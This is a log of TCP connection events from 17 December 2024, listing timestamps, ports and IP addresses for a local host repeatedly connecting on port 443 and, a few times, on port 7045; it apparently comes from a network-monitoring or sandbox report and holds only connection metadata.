Dec 17, 2024 03:52:32.186156034 CET	49814	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:32.186234951 CET	443	49814	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:32.186868906 CET	443	49814	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:32.187093973 CET	49814	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:32.198286057 CET	49818	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:32.198335886 CET	443	49818	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:32.198546886 CET	49818	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:32.210789919 CET	49818	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:32.210802078 CET	443	49818	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:32.516324997 CET	49819	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:32.582438946 CET	443	49815	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:32.582534075 CET	49815	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:32.583776951 CET	49815	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:32.583803892 CET	443	49815	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:32.583878040 CET	49815	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:32.584517956 CET	443	49815	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:32.584532976 CET	49820	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:32.584575891 CET	49815	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:32.584583998 CET	443	49820	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:32.584656000 CET	49820	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:32.585063934 CET	49820	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:32.585091114 CET	443	49820	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:32.636564016 CET	7045	49819	46.246.82.66	192.168.2.4
Dec 17, 2024 03:52:32.636766911 CET	49819	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:32.637018919 CET	49819	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:32.756963015 CET	7045	49819	46.246.82.66	192.168.2.4
Dec 17, 2024 03:52:33.029139042 CET	443	49817	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:33.029256105 CET	49817	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:33.030330896 CET	49817	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:33.030359983 CET	443	49817	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:33.030452013 CET	49817	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:33.030734062 CET	443	49817	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:33.030796051 CET	49817	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:33.031277895 CET	49821	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:33.031316042 CET	443	49821	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:33.031435966 CET	49821	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:33.031924009 CET	49821	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:33.031938076 CET	443	49821	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:33.048191071 CET	443	49816	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:33.048284054 CET	49816	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:33.049168110 CET	49816	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:33.049168110 CET	49816	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:33.049223900 CET	443	49816	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:33.049417019 CET	443	49816	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:33.049470901 CET	49816	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:33.050218105 CET	49822	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:33.050234079 CET	443	49822	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:33.050293922 CET	49822	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:33.050731897 CET	49822	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:33.050738096 CET	443	49822	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:33.426944017 CET	443	49818	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:33.427031040 CET	49818	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:33.427937984 CET	49818	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:33.427948952 CET	443	49818	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:33.428066969 CET	49818	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:33.428603888 CET	443	49818	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:33.428668022 CET	49818	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:33.428893089 CET	49823	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:33.428956032 CET	443	49823	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:33.429032087 CET	49823	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:33.429472923 CET	49823	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:33.429490089 CET	443	49823	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:34.130532026 CET	443	49820	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:34.130644083 CET	49820	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:34.131638050 CET	49820	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:34.131650925 CET	443	49820	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:34.131733894 CET	49820	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:34.132185936 CET	443	49820	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:34.132471085 CET	49824	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:34.132493973 CET	49820	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:34.132519007 CET	443	49824	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:34.132586956 CET	49824	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:34.133076906 CET	49824	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:34.133094072 CET	443	49824	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:34.206427097 CET	49825	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:34.326282024 CET	7045	49825	46.246.82.66	192.168.2.4
Dec 17, 2024 03:52:34.329061985 CET	49825	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:34.329323053 CET	49825	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:34.449275970 CET	7045	49825	46.246.82.66	192.168.2.4
Dec 17, 2024 03:52:34.466506004 CET	443	49822	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:34.466586113 CET	49822	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:34.467564106 CET	49822	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:34.467570066 CET	443	49822	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:34.467648029 CET	49822	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:34.467701912 CET	443	49822	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:34.467767954 CET	49822	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:34.468456030 CET	49826	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:34.468543053 CET	443	49826	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:34.468628883 CET	49826	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:34.469079971 CET	49826	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:34.469116926 CET	443	49826	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:34.589689970 CET	443	49821	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:34.589857101 CET	49821	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:34.591157913 CET	49821	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:34.591173887 CET	443	49821	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:34.591301918 CET	49821	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:34.591352940 CET	443	49821	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:34.591780901 CET	49821	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:34.592679977 CET	49827	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:34.592772007 CET	443	49827	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:34.592848063 CET	49827	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:34.593300104 CET	49827	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:34.593333960 CET	443	49827	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:34.689819098 CET	443	49823	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:34.690098047 CET	49823	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:34.691479921 CET	49823	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:34.691504002 CET	443	49823	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:34.691869974 CET	443	49823	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:34.691924095 CET	49823	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:34.691924095 CET	49823	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:34.691940069 CET	443	49823	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:34.692421913 CET	49828	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:34.692478895 CET	443	49828	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:34.692552090 CET	49828	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:34.693016052 CET	49828	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:34.693036079 CET	443	49828	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:34.737737894 CET	7045	49819	46.246.82.66	192.168.2.4
Dec 17, 2024 03:52:34.737869024 CET	49819	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:34.737999916 CET	49819	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:34.857652903 CET	7045	49819	46.246.82.66	192.168.2.4
Dec 17, 2024 03:52:35.405386925 CET	443	49824	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:35.405512094 CET	49824	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:35.411259890 CET	49824	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:35.411288977 CET	443	49824	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:35.411370993 CET	49824	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:35.411833048 CET	443	49824	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:35.411891937 CET	49824	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:35.412652016 CET	49829	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:35.412699938 CET	443	49829	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:35.412756920 CET	49829	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:35.413428068 CET	49829	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:35.413446903 CET	443	49829	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:35.850955963 CET	443	49826	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:35.851171017 CET	49826	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:35.852061033 CET	49826	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:35.852091074 CET	443	49826	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:35.852165937 CET	49826	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:35.852240086 CET	443	49826	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:35.852296114 CET	49826	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:35.853528023 CET	49830	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:35.853581905 CET	443	49830	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:35.853668928 CET	49830	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:35.854290962 CET	49830	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:35.854327917 CET	443	49830	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:36.126779079 CET	443	49827	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:36.126962900 CET	49827	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:36.127824068 CET	49827	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:36.127852917 CET	443	49827	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:36.127957106 CET	49827	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:36.128406048 CET	443	49827	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:36.128470898 CET	49827	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:36.128927946 CET	49831	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:36.129025936 CET	443	49831	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:36.129113913 CET	49831	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:36.129533052 CET	49831	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:36.129568100 CET	443	49831	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:36.252429962 CET	443	49828	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:36.252620935 CET	49828	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:36.254431963 CET	49828	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:36.254431963 CET	49828	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:36.254488945 CET	443	49828	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:36.255072117 CET	443	49828	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:36.255279064 CET	49828	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:36.255362034 CET	49832	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:36.255395889 CET	443	49832	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:36.255450010 CET	49832	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:36.256134987 CET	49832	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:36.256145954 CET	443	49832	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:36.354109049 CET	7045	49825	46.246.82.66	192.168.2.4
Dec 17, 2024 03:52:36.354207993 CET	49825	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:36.354315042 CET	49825	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:36.474231958 CET	7045	49825	46.246.82.66	192.168.2.4
Dec 17, 2024 03:52:36.945714951 CET	443	49829	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:36.946042061 CET	49829	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:36.947499037 CET	49829	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:36.947529078 CET	443	49829	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:36.947630882 CET	49829	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:36.948206902 CET	443	49829	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:36.948281050 CET	49829	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:36.948560953 CET	49833	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:36.948652029 CET	443	49833	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:36.948734045 CET	49833	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:36.949644089 CET	49833	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:36.949723959 CET	443	49833	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:37.238301992 CET	443	49830	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:37.238616943 CET	49830	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:37.239388943 CET	49830	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:37.239418983 CET	443	49830	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:37.239480972 CET	49830	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:37.239592075 CET	443	49830	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:37.239641905 CET	49830	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:37.240309000 CET	49834	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:37.240391970 CET	443	49834	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:37.240470886 CET	49834	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:37.240914106 CET	49834	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:37.240952015 CET	443	49834	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:37.341816902 CET	443	49831	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:37.341989040 CET	49831	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:37.342959881 CET	49831	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:37.342993021 CET	443	49831	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:37.343106985 CET	49831	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:37.343344927 CET	443	49831	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:37.343408108 CET	49831	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:37.344111919 CET	49835	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:37.344197035 CET	443	49835	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:37.344286919 CET	49835	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:37.344742060 CET	49835	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:37.344790936 CET	443	49835	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:37.473274946 CET	443	49832	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:37.473567963 CET	49832	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:37.474385023 CET	49832	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:37.474401951 CET	443	49832	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:37.474479914 CET	49832	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:37.475027084 CET	443	49832	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:37.475085020 CET	49832	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:37.475241899 CET	49836	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:37.475352049 CET	443	49836	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:37.475703955 CET	49836	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:37.476269007 CET	49836	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:37.476346970 CET	443	49836	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:38.165035963 CET	443	49833	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:38.165153027 CET	49833	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:38.166095972 CET	49833	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:38.166124105 CET	443	49833	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:38.166183949 CET	49833	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:38.166717052 CET	443	49833	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:38.166785002 CET	49833	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:38.166960955 CET	49837	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:38.166992903 CET	443	49837	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:38.167052984 CET	49837	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:38.167491913 CET	49837	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:38.167504072 CET	443	49837	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:38.582309008 CET	443	49835	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:38.582515955 CET	49835	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:38.583295107 CET	49835	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:38.583343029 CET	443	49835	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:38.583400965 CET	49835	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:38.583755970 CET	443	49835	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:38.584089994 CET	49838	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:38.584105968 CET	49835	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:38.584175110 CET	443	49838	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:38.584252119 CET	49838	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:38.584640980 CET	49838	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:38.584676981 CET	443	49838	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:38.616455078 CET	443	49834	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:38.616667032 CET	49834	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:38.617331028 CET	49834	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:38.617383003 CET	443	49834	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:38.617439985 CET	49834	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:38.617548943 CET	443	49834	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:38.617938042 CET	49834	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:38.618083954 CET	49839	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:38.618165970 CET	443	49839	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:38.618242025 CET	49839	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:38.618603945 CET	49839	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:38.618640900 CET	443	49839	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:38.704890013 CET	443	49836	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:38.705018044 CET	49836	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:38.705816031 CET	49836	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:38.705845118 CET	443	49836	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:38.705909014 CET	49836	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:38.706211090 CET	443	49836	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:38.706283092 CET	49836	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:38.706646919 CET	49840	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:38.706729889 CET	443	49840	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:38.706808090 CET	49840	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:38.707197905 CET	49840	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:38.707231045 CET	443	49840	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:39.381413937 CET	443	49837	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:39.381531000 CET	49837	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:39.382441044 CET	49837	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:39.382452965 CET	443	49837	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:39.382555962 CET	49837	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:39.382816076 CET	443	49837	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:39.382877111 CET	49837	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:39.383348942 CET	49841	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:39.383388042 CET	443	49841	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:39.385848999 CET	49841	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:39.386379004 CET	49841	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:39.386390924 CET	443	49841	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:39.777326107 CET	49842	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:39.813256979 CET	443	49838	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:39.813514948 CET	49838	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:39.814366102 CET	49838	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:39.814418077 CET	443	49838	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:39.814485073 CET	49838	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:39.814723969 CET	443	49838	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:39.814903975 CET	49838	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:39.815324068 CET	49843	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:39.815372944 CET	443	49843	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:39.815443039 CET	49843	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:39.815934896 CET	49843	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:39.815947056 CET	443	49843	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:39.897469997 CET	7045	49842	46.246.82.66	192.168.2.4
Dec 17, 2024 03:52:39.897593975 CET	49842	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:39.897917986 CET	49842	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:39.995095968 CET	443	49839	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:39.995207071 CET	49839	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:39.996011972 CET	49839	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:39.996040106 CET	443	49839	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:39.996102095 CET	49839	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:39.996186018 CET	443	49839	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:39.996243954 CET	49839	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:39.996900082 CET	49844	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:39.996949911 CET	443	49844	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:39.997020006 CET	49844	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:39.997400045 CET	49844	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:39.997428894 CET	443	49844	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:40.017693043 CET	7045	49842	46.246.82.66	192.168.2.4
Dec 17, 2024 03:52:40.263581991 CET	443	49840	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:40.263700962 CET	49840	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:40.264678001 CET	49840	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:40.264705896 CET	443	49840	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:40.264806032 CET	49840	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:40.265413046 CET	443	49840	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:40.265484095 CET	49840	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:40.265685081 CET	49845	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:40.265770912 CET	443	49845	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:40.265862942 CET	49845	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:40.266376972 CET	49845	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:40.266415119 CET	443	49845	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:40.601195097 CET	443	49841	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:40.601290941 CET	49841	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:40.602299929 CET	49841	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:40.602309942 CET	443	49841	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:40.602407932 CET	49841	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:40.602895021 CET	443	49841	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:40.602957964 CET	49841	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:40.603254080 CET	49846	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:40.603287935 CET	443	49846	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:40.603346109 CET	49846	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:40.603821039 CET	49846	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:40.603832960 CET	443	49846	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:41.348505020 CET	443	49843	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:41.348608971 CET	49843	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:41.349627018 CET	49843	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:41.349638939 CET	443	49843	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:41.349781990 CET	49843	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:41.350229979 CET	443	49843	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:41.350292921 CET	49843	443	192.168.2.4	199.232.192.209
